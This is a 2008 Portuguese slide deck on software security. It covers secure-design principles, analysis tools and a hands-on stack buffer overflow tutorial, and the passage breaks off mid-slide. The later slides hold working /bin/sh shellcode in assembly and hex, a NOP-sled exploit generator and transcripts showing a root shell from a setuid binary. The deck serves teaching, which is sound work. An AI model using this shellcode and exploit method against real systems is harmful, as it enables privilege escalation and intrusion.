(In)Segurança de Software
         Quebrando Códigos



Rafael Rosa
                                          10/2008
rafaeltbh *nospan* yahoo dot com dot br
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
O que é Software?
                                                                                    Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Software é uma sequência de instruções a serem seguidas
                                                                 na manipulação, redirecionamento, ou modificação de
                                                                 um conjunto de dados.

                                                                Conjunto de procedimentos, documentação e estruturas
                                                                 de dados que visam manipular dados.
Software Sempre Falha
                                                                                     Causas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de software só existem porque as pessoas que os
                                                                 constroem estão susceptíveis a falhas.

                                                                Falta de experiência para reconhecer e remover falhas e
                                                                 defeitos na fase de projeto e de desenvolvimento.

                                                                Falta de conhecimento de princípios básicos de
                                                                 desenvolvimento seguro.
Quando o Software Falha
                                                                                Consequências
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Expõe dados confidenciais à usuários não
                                                                 autorizados.

                                                                Programa pode terminar a execução ao receber
                                                                 entradas não esperadas.

                                                                Pode permitir injeção e execução de código malicioso.
Correção de Software Defeituoso
                                                                                   Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Desenvolvedores só podem aplicar patchs em bugs
                                                                  conhecidos. Guardados a sete chaves por grupos de
                                                                  invasores.

                                                                 Patchs geralmente não são aplicados por
                                                                  desconhecimento dos usuários e por comodismo dos
                                                                  administradores de sistema (sistema funciona então
                                                                  não vou mexer, minha sistema não vai ser atacado).
Correção de Software Defeituoso
                                                                                   Manutenção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Correções precisam ser feitas muito rapidamente por
                                                                  necessidades de mercado, com isso o que deveria
                                                                  apenas corrigir uma vulnerabilidade pode introduzir
                                                                  um série de novas vulnerabilidades.

                                                                 Geralmente corrigem os sintomas, não a real causa do
                                                                  problema.
Desenvolvimento de Software
                                                                                    Dificuldades
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Complexidade.

                                                                Extensibilidade.

                                                                Conectividade.
Dificuldades
                                                                                Complexidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Software está se tornando cada vez mais complexo, o
                                                                 que aumenta a quantidade de defeitos de projeto.

                                                                Número cada vez maior de linhas de código. Mais
                                                                 bugs.

                                                                Menor funcionalidade significa menos risco de
                                                                 exposição.
Dificuldades
                                                                                Extensibilidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Permite a adição de novas funcionalidades a um
                                                                 sistema. Plug-ins, drivers de dispositivo e módulos
                                                                 dinamicamente carregados.

                                                                Recursos que permitem extensibilidade devem ser
                                                                 bem projetados. Difícil proteger algo que ainda não
                                                                 foi desenvolvido.
Dificuldades
                                                                                 Conectividade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Popularização da Internet. Enorme quantidade de
                                                                 sistemas de software trocando informações sigilosas
                                                                 via rede.

                                                                Alta conectividade entre usuários domésticos e infra-
                                                                 estruturas críticas.

                                                                Aumento do número de vetores de ataque.
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                               
                                        
                                                  
                                                 Bug.



                             Falha.
                                      Defeito.
                                                             Problemas
                                                                         Desenvolvimento de Software
Problemas
                                                                                        Bug
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Existe somente em código, são erros comuns
                                                                 cometidos por programadores.

                                                                    Copiar 20 bytes para um buffer de tamanho 10.
Problemas
                                                                                       Defeito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Condição anormal que pode existir em qualquer
                                                                 artefato na fase de desenvolvimento de software.

                                                                     No início de uma comunicação criptografada os dois nós
                                                                 trocam as chaves assimétricas, e então se inicia um sessão
                                                                 criptografada. Através dessa sessão os dois nós trocam uma
                                                                 chave simétrica, de modo que os dados possam então ser
                                                                 criptografados pela mesma.
Problemas
                                                                                        Falha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Comportamento diferente do esperado. Defeito ou bug
                                                                 ativado.

                                                                     Quando um atacante se coloca no meio de uma conexão
                                                                 criptografada desde o início do handshake, ele pode
                                                                 burlar toda a segurança imposta pelo método de chave
                                                                 assimétrica. Com isso é possível obter a chave simétrica e
                                                                 então escutar ou injetar dados na conexão.
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Segurança de Software
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Segurança é relativa. Software tem que ser seguro
                                                                 contra o quê? E contra quem?

                                                                Mecanismos de segurança não podem ser
                                                                 simplesmente adicionados à um sistema, tem que ser
                                                                 considerados desde o início do projeto.
Segurança de Software
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Cada ambiente tem que ser analisado cuidadosamente
                                                                 para não afetar a usabilidade, funcionalidade e
                                                                 eficiência do sistema de software.

                                                                Software seguro deve prover confidenciabilidade,
                                                                 autenticação, controle de acesso, integridade,
                                                                 disponibilidade e não-repúdio.
Software Seguro
                                                                       Proteção da ponta mais fraca
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Software é tão seguro quanto sua ponta mais fraca.

                                                                Atacantes vão seguir pelo caminho de menor
                                                                 resistência.
Software Seguro
                                                                          Defesa em profundidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Mecanismos de segurança devem ser redundantes.
                                                                 Permite vários pontos de falha.

                                                                Evita que um único ponto de falha comprometa a
                                                                 segurança do sistema como um todo.

                                                                Aplicação deve ser projetada como se todos os outros
                                                                 mecanismos de segurança do sistema tivessem sido
                                                                 burlados.
Software Seguro
                                                                           Falhar de modo seguro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas são inevitáveis e precisam ser planejadas de
                                                                 modo a não expôr o sistema. Recuperação de falhas é
                                                                 um aspecto essencial da engenharia de segurança.

                                                                Após uma falha, alterações devem ser desfeitas de
                                                                 modo que o sistema volte a um estado seguro.

                                                                Valores de retorno devem ser cuidadosamente
                                                                 checados.
Software Seguro
                                                                        Princípio de menor privilégio
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Mínimo de permissão durante o menor tempo
                                                                 possível.

                                                                Desistir de permissões elevadas assim que ações que
                                                                 as exigiam forem completadas.

                                                                Se uma vulnerabilidade for explorada o atacante terá
                                                                 tantas regalias quanto o processo quebrado.
Software Seguro
                                                                            Compartimentalização
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Separar o sistema em tantos compartimentos quanto
                                                                 for possível, de modo que cada compartimento tenha o
                                                                 mínimo de privilégio necessário para realizar as
                                                                 operações de que está encarregado.

                                                                Confinar códigos com alto nível de privilégio. Todo
                                                                 dano ocorrerá em um “ambiente” controlado.
Software Seguro
                                                                                        KISS
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Complexidade aumenta o risco de defeitos.

                                                                Reutilização de componentes que já provaram sua
                                                                 qualidade deve ser praticada.

                                                                Não é inteligente criar rotinas próprias de criptografia
                                                                 e garantia de integridade.
Software Seguro
                                                                                  Privacidade
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Feedback para o usuário é diferente de prover muita
                                                                 informação.

                                                                Privacidade dos usuários não deve ser comprometida.
                                                                 Dados pessoais devem ser bem protegidos.
Software Seguro
                                                                       Esconder segredos não é fácil
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Ofuscamento de código e segurança por obscuridade
                                                                 não funcionam. Acesso ao binário significa acesso à
                                                                 informação.

                                                                Deve-se considerar que o atacante conhece o sistema
                                                                 tanto quanto o desenvolvedor.
Software Seguro
                                                                    Não confiar em interfaces externas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Toda interface com o software é um possível vetor de
                                                                 ataque.

                                                                Entrada de qualquer interface do sistema deve ser
                                                                 vista com desconfiança. Não se deve assumir nada em
                                                                 relação a I/O.

                                                                Suposições incorretas sobre o ambiente de execução
                                                                 do sistema resultam em problemas de segurança.
Software Seguro
                                                                         Mecanismo menos comum
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Entidades diferentes não devem compartilhar
                                                                 mecanismos que permitem acessos à recursos.

                                                                O mesmo usuário de um SGBD não deve ser
                                                                 compartilhado entre duas aplicações. Exploração de
                                                                 uma aplicação pode comprometer a outra.
Software Seguro
                                                                             Mediação Completa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Em toda operação realizada por um usuário deve-se
                                                                 validar a identidade do agente e checar as permissões
                                                                 do mesmo em relação à tarefa em questão.
Analisando Software
                                                                                  Ferramentas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Depurador.

                                                                Disassembler.

                                                                Descompilador.

                                                                Ferramenta de auditoria de segurança.

                                                                Fuzzer.
Analisando Software
                                                                                  Depurador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Executa um programa passo a passo, permite análise
                                                                 de registradores, dumps de memória, configuração de
                                                                 pontos de interrupção,

                                                                OllyDbg, SofIce, gdb.
Analisando Software
                                                                                Disassembler
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Faz engenharia reversa do código de máquina gerando
                                                                 código assembly.

                                                                IDAPro, OllyDbg, gdb, Valgrind.
Analisando Software
                                                                               Descompilador
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Faz engenharia reversa do código de máquina gerando
                                                                 código de alto nível. Código um tanto obscuro.

                                                                Depende da quantidade de informação da linguagem
                                                                 de alto nível contida no binário.

                                                                Rec, dcc.
Analisando Software
                                                                       Ferramenta de auditoria de segurança
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Faz auditoria de código fonte em busca de padrões
                                                                 previamente conhecidos como “problemáticos”.
                                                                 Descrevem o problema encontrado e propõe
                                                                 correções.

                                                                RATS, Flawfinder, ITS4.
Analisando Software
                                                                                    Fuzzers
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Injeta dados inválidos, mal formatados, maliciosos, e
                                                                 inesperados em pontos de entrada de dados do
                                                                 software. Se ocorrer algo diferente do esperado, o
                                                                 defeito é detectado.

                                                                Os dados de entrada por sem baseados tanto em white-
                                                                 box quanto em black-box.

                                                                FuzzGrind, tmin.
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                   Stack Overflow

                                                                   Heap Overflow

                                                                   Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                   WorX

                                                                   Stack Protector

                                                                   ASLR
Buffer Overflow
                                                                                   O que é?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Ocorre quando um bug permite que se possa
                                                                 extravasar a quantidade de memória reservada à um
                                                                 buffer, permitindo que dados sejam gravados em
                                                                 endereços de memória contíguos ao mesmo

                                                                Erro de programação comum em linguagem C. Muitos
                                                                 poderes exigem muitas responsabilidades.
Buffer Overflow
                                                                                      E daí?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Esse endereço contíguo pode ser um frame de pilha,
                                                                 endereço de retorno, ponteiro de função ou uma
                                                                 variável de controle da aplicação.

                                                                Esquemas de proteção em software podem ser
                                                                 facilmente quebrados caso sejam controlados por
                                                                 dados (flags, variáveis de controle) em memória.
Buffer Overflow
                                                                              Funções vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf,
                                                                 streadd, strecpy, strtrns, getopt, getchar, fgetc, getc,
                                                                 read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.
Buffer Overflow
                                                                        Área de memória vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Overflows podem ocorrer na stack ou na heap.

                                                                Na heap são mais difíceis de explorar e de identificar.
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Stack Overflow
                                                                                     Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Área da memória reservada para chamadas de função
                                                                 e armazenamento de variáveis locais.

                                                                           esp         var2
                                                                                       var1

                                                                                      buffer1

                                                                           ebp       ebp salvo
                                                                                        ret
                                                                                       arg1
                                                                                       arg2
Stack Overflow
                                                                            Mapeamento da Stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Sistemas unix mapeiam a stack para regiões altas de
                                                                 memória:

                                                                            0xbffeb000 - 0xc0000000


                                                                Sistemas Windows mapeiam para regiões baixas:

                                                                             0x0022ff1f - 0x00096cbf
Stack Overflow
                                                                    Mapa de memória no Linux
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             memória baixa       não usada

                                                                             .init, .text, .rodata

                                                                                 .data, .bss
                                                                                    heap


                                                                                Bibliotecas
                                                                              compartilhadas




                                                                                    stack
                                                             memória alta          kernel
Stack Overflow
                                                                 Mapa de memória no Windows
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             memória baixa         kernel


                                                                                   stack
                                                                                   heap


                                                                                    .text
                                                                             .data, .rodata, .bss



                                                                                Bibliotecas
                                                             memória alta     compartilhadas
Stack Overflow
                                                                                   Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              void func(char *str){               int main(int argc, char *argv[]){
                                                                   char buffer[16];
                                                                                                      if(argc != 2){
                                                                   strcpy(buffer, str);                     printf("uso: %s <param>n", argv[0]);
                                                                   printf("%sn", buffer);                  return 1;
                                                              }                                       }

                                                                                                      func(argv[1]);
                                                                                                      printf("fimn");
                                                                                                  }

                                                             [rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF
                                                             AAAABBBBCCCCDDDDEEEEFFFF
                                                             Segmentation fault
                                                             [rafael@centos stack]$
Stack Overflow
                                                                           Stack do programa
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                 crescimento da stack


                                                                   buffer[16]   EBP anterior end retorno   ptr str



                                                             esp                ebp
Stack Overflow
                                                                                   Vetor de injeção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Injetar vetor de ataque de modo a controlar o endereço
                                                             de retorno.



                                                                                   vetor de injeção


                                                                      buffer[16]      EBP anterior end retorno   ptr str
Stack Overflow
                                                                                Executando código inativo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             void foo(){
                                                                  printf("nunca entra aquin");            int main(){
                                                                  exit(1);                                      func();
                                                             }                                                  printf("fimn");
                                                                                                           }
                                                             void func(){
                                                                  char buffer[16];
                                                                  strcpy(buffer, "AAAABBBBCCCCDDD");

                                                                  *((long*)(buffer+20)) = (long)&foo;
                                                                  printf("%sn", buffer);
                                                             }

                                                             [rafael@centos stack]$ ./stack_overflow_ex2
                                                             AAAABBBBCCCCDDD
                                                             nunca entra aqui
                                                             [rafael@centos stack]$
Stack Overflow
                                                                     Controlando endereço de retorno
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Endereço de retorno sobrescrito.


                                                                      AAAA...DDD        EBP anterior     ptr foo     ...


                                                                          buffer[16]    EBP anterior   end retorno   ...



                                                                    esp                ebp              crescimento da
                                                                                                        stack
Stack Overflow
                                                                                    Executando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                E se fosse um shell?

                                                                  void foo(){
                                                                       char *params[2];
                                                                       params[0] = "/bin/sh";
                                                                       params[1] = NULL;
                                                                       execve(params[0], params, NULL);
                                                                  }



                                                             [rafael@centos stack]$ ./stack_overflow_ex3
                                                             AAAABBBBCCCCDDD
                                                             sh-3.2$
Stack Overflow
                                                                          Planejando o ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Não basta sobrescrever o endereço de retorno.
                                                             Precisamos de um shellcode no nosso vetor de injeção.

                                                             Endereço de retorno deve apontar para o payload, de
                                                             modo a redirecionar o fluxo para o código de execução
                                                             do shell.
Stack Overflow
                                                                                 Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Desassemblando chamada à execve().

                                                                 movl   $0x80484a8,0xfffffff4(%ebp)   “/bin/sh'
                                                                 movl   $0x0,0xfffffff8(%ebp)         NULL
                                                                 mov    0xfffffff4(%ebp),%edx
                                                                 movl   $0x0,0x8(%esp)                NULL
                                                                 lea    0xfffffff4(%ebp),%eax
                                                                 mov    %eax,0x4(%esp)                /bin/sh
                                                                 mov    %edx,(%esp)                   /bin/sh, NULL
                                                                 call   0x8048280 <execve>
Stack Overflow
                                                                               Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Desassemblando execve().

                                                                 mov   0x8(%ebp), %ebx     “/bin/sh”
                                                                 mov   0xc(%ebp), %ecx    {“/bin/sh”, NULL}
                                                                 mov   0x10(%ebp), %edx    NULL
                                                                 mov   $0xb, %eax         0xb
                                                                 int   $0x80
Stack Overflow
                                                                           Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                eax recebe 0xb.

                                                                Ponteiro para “/bin/sh” deve estar em ebx.

                                                                Ponteiro de strings em ecx.

                                                                Ponteiro NULL em edx.
Stack Overflow
                                                                             Escrevendo shellcode
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             BITS 32
                                                             section .text
                                                             global _start
                                                             _start:

                                                             push 0             ; empilha '0'
                                                             push 0x68732f2f    ; empilha “//sh”
                                                             push 0x6e69622f    ; empilha “/bin”
                                                             mov ebx, esp       ; ebx aponta para “/bin//sh”
                                                             push 0             ; empilha NULL
                                                             push ebx           ; empilha endereço de “/bin//sh”
                                                             mov ecx, esp       ; ecx aponta para ponteiros de strings
                                                             mov eax, 0xb       ; eax recebe 0xb (execve)
                                                             int 0x80           ; chamada de sistema
Stack Overflow
                                                                                        Testando o código
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Executando shellcode.
                                                             [rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm
                                                             [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o
                                                             [rafael@centos stack]$ ./shellcode1
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos stack]$



                                                                 Gerando binário.
                                                             [rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
Stack Overflow
                                                                              Binário gerado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              Binário gerado possui 0x00, o que acarretaria no
                                                             término de uma operação de string.
Stack Overflow
                                                                   Escrevendo shellcode sem 0x00
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             BITS 32
                                                             section .text
                                                             global _start
                                                             _start:

                                                             xor eax,eax       ; zera eax
                                                             push eax          ; empilha eax
                                                             push 0x68732f2f   ; empilha “//sh”
                                                             push 0x6e69622f   ; empilha “/bin”
                                                             mov ebx, esp      ; ebx aponta para “/bin//sh”
                                                             push eax          ; empilha NULL
                                                             push ebx          ; empilha endereço de “/bin//sh”
                                                             mov ecx, esp      ; ecx aponta para ponteiros de strings
                                                             mov al, 0xb       ; al recebe 0xb (execve)
                                                             int 0x80          ; chamada de sistema
Stack Overflow
                                                                                        Testando o código
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Executando shellcode.
                                                             [rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm
                                                             [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o
                                                             [rafael@centos stack]$ ./shellcode2
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos stack]$



                                                                Gerando binário.
                                                             [rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Binário gerado
                                                                              Stack Overflow
Stack Overflow
                                                                                 Shellcode ganhando eip
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 char shellcode[]= "x31xc0x50x68x2f”
                                                                 “x2fx73x68x68x2fx62x69x6ex89”          int main(){
                                                                 “xe3x50x53x89xe1xb0x0bxcdx80”;              func();
                                                                                                                      printf("fimn");
                                                                 void func(){                                    }
                                                                       char buffer[16];

                                                                      strcpy(buffer, "AAAABBBBCCCCDDD");

                                                                      *((long*)(buffer+20)) = (long)shellcode;
                                                                      printf("%sn", buffer);
                                                                 }



                                                             [rafael@centos stack]$ ./stack_overflow_ex4
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos stack]$
Stack Overflow
                                                                           Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Para criar o vetor de injeção levar em conta tamanho do
                                                             buffer, alinhamento dos bytes, e restrições de entrada.

                                                             Payload pode ser colocado em qualquer localização de
                                                             memória conhecida
Stack Overflow
                                                                             Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              ret deve estar nesse intevalo


                                                              NOPs     Shellcode   ret...       ret          ret        ret...


                                                                      buffer[]              EBP anterior end retorno     ...



                                                             esp                        ebp                 crescimento da stack
Stack Overflow
                                                                             Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Como prever a posição correta de retorno?

                                                                Stack geralmente é alocada no mesmo endereço.

                                                             Conhecendo o início da stack fica fácil adivinhar onde o
                                                             buffer a ser explorado está localizado.
Stack Overflow
                                                                                 Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define RETADDRS        0xbffff600

                                                             char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                               "x6ex89xe3x50x53x89xe1xb0x0bxcdx80";

                                                             int main(int argc, char **argv){
                                                                  FILE *badfile;
                                                                  long *ptr;
                                                                  unsigned int ret;
                                                                  int n, i;
                                                                  char buffer[313];

                                                                 if(argc != 2){
                                                                      fprintf(stderr, "uso: %s <ret>n", argv[0]);
                                                                      return 1;
                                                                 }
Stack Overflow
                                                                                   Codificando exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 ret = RETADDRS - atoi(argv[1]);
                                                                 memset(&buffer, 0x90, 312);
                                                                 memcpy(buffer+120, shellcode, strlen(shellcode));

                                                                 ptr = buffer + 120 + strlen(shellcode);
                                                                 /*alinhando em 4 bytes*/
                                                                 ptr = ((char*)ptr) + (4 - strlen(shellcode)%4);

                                                                 n = (&buffer[311] - (char*)ptr)/4;

                                                                 for(i = 0; i < n; i++)
                                                                       ptr[i] = ret;

                                                                 buffer[312] = '0';

                                                                 badfile = fopen("./badfile_ex5.bin", "w");
                                                                 fwrite(buffer, 313, 1, badfile);
                                                                 fclose(badfile);
                                                             }
Stack Overflow
                                                                                       Ganhando um shell
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos stack]$ ./exploit_stack_overflow_ex5 300
                                                             [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
                                                             �������������������������������������������
                                                             �������������������������������������������
                                                             ����������������������������������1�Ph//shh/bin��
                                                             PS��1Ұ                              ̀��������������������������
                                                             �������������������������������������������
                                                             �������������������������������������������
                                                             �������������������������������������������
                                                             ������������
                                                             sh-3.2$




                                                                 Pra que serve isso?
Stack Overflow
                                                                               Ganhando acesso irrestrito
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Se o programa tivesse permissões elevadas:

                                                             [root@centos stack]# chown root stack_overflow_ex5
                                                             [root@centos stack]# chmod +s stack_overflow_ex5
                                                             [root@centos stack]# ls -l stack_overflow_ex5
                                                             -rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5


                                                             [rafael@centos stack]$ ./exploit_stack_overflow_ex5 450
                                                             [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `
                                                             ������������������������������������������
                                                             ������������������������������������������
                                                             ������������������������������������1�Ph//shh/bin
                                                             ��PS��1Ұ                                        ̀�������������������
                                                             ������������������������������������������
                                                             ������������������������������������������
                                                             ������������������������
                                                             # whoami
                                                             root
                                                             #
Stack Overflow
                                                                          Terminador não calculado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Operações de buffer são feitas sem levar em
                                                                 consideração o byte NULL de terminação da string.

                                                                Dependendo da função de tratamento o terminador
                                                                 pode ou não ser colocado.

                                                                Se não for colocado, a string pode ser tratada como se
                                                                 fosse maior do que realmente é.

                                                                Se for colocado, o byte seguinte à string será
                                                                 sobrescrito com 0x00.
Stack Overflow
                                                                                       No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define MAXLEN 128

                                                             int func1(char *str1, char *str2){
                                                                   char buffer[MAXLEN];

                                                                 memset(buffer, 0xff, MAXLEN);

                                                                 strncpy(buffer, str1, MAXLEN-1);
                                                                 strncat(buffer, str2, MAXLEN - strlen(buffer)-1);
                                                                 printf("%sn", buffer);

                                                             }

                                                             /*função de auxílio, já que o frame da main é protegido*/
                                                             int func(char *str1, char *str2){
                                                                   int x=0;
                                                                   func1(str1, str2);
                                                             }
Stack Overflow
                                                                                       No terminator
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(int argc, char *argv[]){

                                                                 if(argc != 3){
                                                                      fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]);
                                                                      return 1;
                                                                 }

                                                                 func(argv[1], argv[2]);
                                                             }
Stack Overflow
                                                                                     A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Quando MAXLEN-1 bytes são copiados em strncpy,
                                                                 o terminador não é escrito.

                                                                strlen(buffer) será maior que MAXLEN-1, fazendo a
                                                                 operação resultar em um valor negativo, que quando
                                                                 interpretado como unsigned representa um valor
                                                                 muito grande. Com isso acontecerá a concatenação.

                                                                O final do buffer é o primeiro byte 0x00 a partir do
                                                                 início do mesmo.
Stack Overflow
                                                                                A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Pilha do programa vulnerável   payload injetado

                                                                       buf                      shellcode
                                                                       ebp                         ebp
                                                                     retaddr                     retaddr
                                                                       str1                        str1
                                                                       str2                        str2
                                                                        x
                                                                       ebp
                                                                     retaddr                      ret...
                                                                       str1
                                                                       str2
Stack Overflow
                                                                                                      O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Os 128 bytes do buffer serão preenchidos com o
                                                                 payload.

                                                                Mais 80 bytes serão passados com o endereço de
                                                                 retorno.

                                                             [rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin `
                                                             ESP: 0xbffff444
                                                             [rafael@centos stack]$
Stack Overflow
                                                                                    O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Deve-se considerar o tamanho do buffer:
                                                                      ret = 0xbffff444 - 128
Stack Overflow
                                                                                                   O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos stack]$ ./nonull `cat badfile_nonull.bin `
                                                             �������������������������������������������
                                                             �������������������������������������������
                                                             ������������������1�Ph//shh/bin��PS���
                                                              ̀�H�����`������������������������������������
                                                             �������������������������������������������
                                                             �����
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos stack]$
Stack Overflow
                                                                                              Off by one
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int func1(char *str){
                                                                   char buf[200];                                 int main(int argc, char *argv[]){

                                                                 strcpy(buf, "argv[1] = ");                           if(argc != 2){
                                                                 strncat(buf, str, sizeof(buf) - strlen(buf) );            fprintf(stderr, "uso %s
                                                                                                                                <arg>n", argv[0]);
                                                                 printf("%sn", buf);                                      return 1;
                                                             }                                                        }

                                                             /*função de auxílio já que o frame da main é             func(argv[1]);
                                                             protegido*/                                          }
                                                             int func(char *str){
                                                                   func1(str);
                                                             }
Stack Overflow
                                                                                            A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Consiste na falsificação do frame de pilha da função
                                                                 chamadora.

                                                             Pilha do programa vulnerável      payload injetado

                                                                                                  shellcode       Quando a função
                                                                        buf                                       chamadora
                                                                                                                  retornar, o valor
                                                                                                    ret...
                                                                                                                  apontado pelo
                                                                        ebp                          ebp          ebp injetado + 4
                                                                      retaddr                                     tomará o controle
                                                                                                   retaddr
                                                                                                                  do eip.
                                                                        str                          str
                                                                        ebp                          ebp
                                                                      retaddr                      retaddr
Stack Overflow
                                                                                    A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Como sobrescrevemos o byte menos significativo do
